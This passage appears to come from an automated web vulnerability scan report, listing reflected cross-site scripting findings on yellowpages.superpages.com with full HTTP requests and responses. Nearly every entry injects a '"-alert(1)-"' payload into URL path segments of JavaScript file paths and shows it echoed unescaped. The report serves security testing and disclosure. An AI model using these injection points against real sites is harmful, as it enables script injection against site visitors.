var actualUrl = "http://yellowpages.superpages.com/common1603f"-alert(1)-"7b40bab0d58/js/alertcommon.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.52. http://yellowpages.superpages.com/common/js/alertcommon.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/alertcommon.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 20813"-alert(1)-"42f38a119fb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js20813"-alert(1)-"42f38a119fb/alertcommon.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js20813&quot;-alert(1)-&quot;42f38a119fb/alertcommon.js
Server: Unspecified
Set-Cookie: JSESSIONID=1964063886F42A385D9BF560E5991661; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:37 GMT
Cache-Control: private
Content-Length: 36087


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js20813"-alert(1)-"42f38a119fb/alertcommon.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.53. http://yellowpages.superpages.com/common/js/alertcommon.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/alertcommon.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c615e"-alert(1)-"fd5addf1395 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/alertcommon.jsc615e"-alert(1)-"fd5addf1395 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/alertcommon.jsc615e&quot;-alert(1)-&quot;fd5addf1395
Server: Unspecified
Set-Cookie: JSESSIONID=C42F1F43179B33DCF485D91863AA0026; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:44 GMT
Cache-Control: private
Content-Length: 36087


                       <!--
       
       -->


                                   
...[SNIP]...
owpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/alertcommon.jsc615e"-alert(1)-"fd5addf1395?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.54. http://yellowpages.superpages.com/common/js/browser_check.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/browser_check.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bae19"-alert(1)-"9957299e054 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /commonbae19"-alert(1)-"9957299e054/js/browser_check.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /commonbae19&quot;-alert(1)-&quot;9957299e054/js/browser_check.js
Server: Unspecified
Set-Cookie: JSESSIONID=E09C44F1BBBAA213F4E42EF428D3F357; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:27 GMT
Cache-Control: private
Content-Length: 36091


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/commonbae19"-alert(1)-"9957299e054/js/browser_check.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.55. http://yellowpages.superpages.com/common/js/browser_check.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/browser_check.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67314"-alert(1)-"4d0383f1bcf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js67314"-alert(1)-"4d0383f1bcf/browser_check.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js67314&quot;-alert(1)-&quot;4d0383f1bcf/browser_check.js
Server: Unspecified
Set-Cookie: JSESSIONID=36F4629CEBB28C41CD456D4BA38FDE53; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:44 GMT
Cache-Control: private
Content-Length: 36091


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js67314"-alert(1)-"4d0383f1bcf/browser_check.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.56. http://yellowpages.superpages.com/common/js/browser_check.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/browser_check.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4823"-alert(1)-"6b96276b57d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/browser_check.jsb4823"-alert(1)-"6b96276b57d HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/browser_check.jsb4823&quot;-alert(1)-&quot;6b96276b57d
Server: Unspecified
Set-Cookie: JSESSIONID=3F77784525870BE1A8C596BB0EA60651; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:51 GMT
Cache-Control: private
Content-Length: 36091


                       <!--
       
       -->


                                   
...[SNIP]...
pages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/browser_check.jsb4823"-alert(1)-"6b96276b57d?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.57. http://yellowpages.superpages.com/common/js/iepopup.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/iepopup.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa65f"-alert(1)-"34ef4e6041c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /commonaa65f"-alert(1)-"34ef4e6041c/js/iepopup.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /commonaa65f&quot;-alert(1)-&quot;34ef4e6041c/js/iepopup.js
Server: Unspecified
Set-Cookie: JSESSIONID=2134AC985409415C2A045A7FF6023BCE; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:41 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/commonaa65f"-alert(1)-"34ef4e6041c/js/iepopup.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.58. http://yellowpages.superpages.com/common/js/iepopup.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/iepopup.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7547e"-alert(1)-"e77ecaba831 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js7547e"-alert(1)-"e77ecaba831/iepopup.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js7547e&quot;-alert(1)-&quot;e77ecaba831/iepopup.js
Server: Unspecified
Set-Cookie: JSESSIONID=BA40BC8F6A7DD188B47568ADA942F69A; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:00 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js7547e"-alert(1)-"e77ecaba831/iepopup.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.59. http://yellowpages.superpages.com/common/js/iepopup.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/iepopup.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57121"-alert(1)-"a019059d18b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/iepopup.js57121"-alert(1)-"a019059d18b HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/iepopup.js57121&quot;-alert(1)-&quot;a019059d18b
Server: Unspecified
Set-Cookie: JSESSIONID=5FEE5F212D4C070AC3E37397025C1DA1; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:20 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/iepopup.js57121"-alert(1)-"a019059d18b?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.60. http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery-1.4.2.min.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12235"-alert(1)-"2aa4880554e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common12235"-alert(1)-"2aa4880554e/js/jquery-1.4.2.min.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common12235&quot;-alert(1)-&quot;2aa4880554e/js/jquery-1.4.2.min.js
Server: Unspecified
Set-Cookie: JSESSIONID=199509FE8D2800AF9160EA7047F290DD; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:44 GMT
Cache-Control: private
Content-Length: 36097


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common12235"-alert(1)-"2aa4880554e/js/jquery-1.4.2.min.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.61. http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery-1.4.2.min.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6e853"-alert(1)-"4df34621227 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js6e853"-alert(1)-"4df34621227/jquery-1.4.2.min.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js6e853&quot;-alert(1)-&quot;4df34621227/jquery-1.4.2.min.js
Server: Unspecified
Set-Cookie: JSESSIONID=3139A329C5301E9058E04DFF871BCCF1; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:00 GMT
Cache-Control: private
Content-Length: 36097


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js6e853"-alert(1)-"4df34621227/jquery-1.4.2.min.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.62. http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery-1.4.2.min.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c940"-alert(1)-"8d600cbb5e6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/jquery-1.4.2.min.js4c940"-alert(1)-"8d600cbb5e6 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/jquery-1.4.2.min.js4c940&quot;-alert(1)-&quot;8d600cbb5e6
Server: Unspecified
Set-Cookie: JSESSIONID=1640D122FA5011C752860F98D405C757; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:08 GMT
Cache-Control: private
Content-Length: 36097


                       <!--
       
       -->


                                   
...[SNIP]...
es.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js4c940"-alert(1)-"8d600cbb5e6?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.63. http://yellowpages.superpages.com/common/js/jquery-plugins.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery-plugins.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f4138"-alert(1)-"d392b5225e3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /commonf4138"-alert(1)-"d392b5225e3/js/jquery-plugins.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /commonf4138&quot;-alert(1)-&quot;d392b5225e3/js/jquery-plugins.js
Server: Unspecified
Set-Cookie: JSESSIONID=9572D1720D04456BA7DF5D05EB1798D8; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:40 GMT
Cache-Control: private
Content-Length: 36093


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/commonf4138"-alert(1)-"d392b5225e3/js/jquery-plugins.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.64. http://yellowpages.superpages.com/common/js/jquery-plugins.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery-plugins.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc582"-alert(1)-"51b3ea3bf60 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/jsdc582"-alert(1)-"51b3ea3bf60/jquery-plugins.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/jsdc582&quot;-alert(1)-&quot;51b3ea3bf60/jquery-plugins.js
Server: Unspecified
Set-Cookie: JSESSIONID=09CE7FF4251840525CF01CD53A9C9A17; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:59 GMT
Cache-Control: private
Content-Length: 36093


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/jsdc582"-alert(1)-"51b3ea3bf60/jquery-plugins.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.65. http://yellowpages.superpages.com/common/js/jquery-plugins.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery-plugins.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fce99"-alert(1)-"1f8bcc299d1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/jquery-plugins.jsfce99"-alert(1)-"1f8bcc299d1 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/jquery-plugins.jsfce99&quot;-alert(1)-&quot;1f8bcc299d1
Server: Unspecified
Set-Cookie: JSESSIONID=D2531DC67D815FBBB68818C02A80D6CB; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:07 GMT
Cache-Control: private
Content-Length: 36093


                       <!--
       
       -->


                                   
...[SNIP]...
ages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/jquery-plugins.jsfce99"-alert(1)-"1f8bcc299d1?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.66. http://yellowpages.superpages.com/common/js/jquery.history_remote.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery.history_remote.js

Issue detail

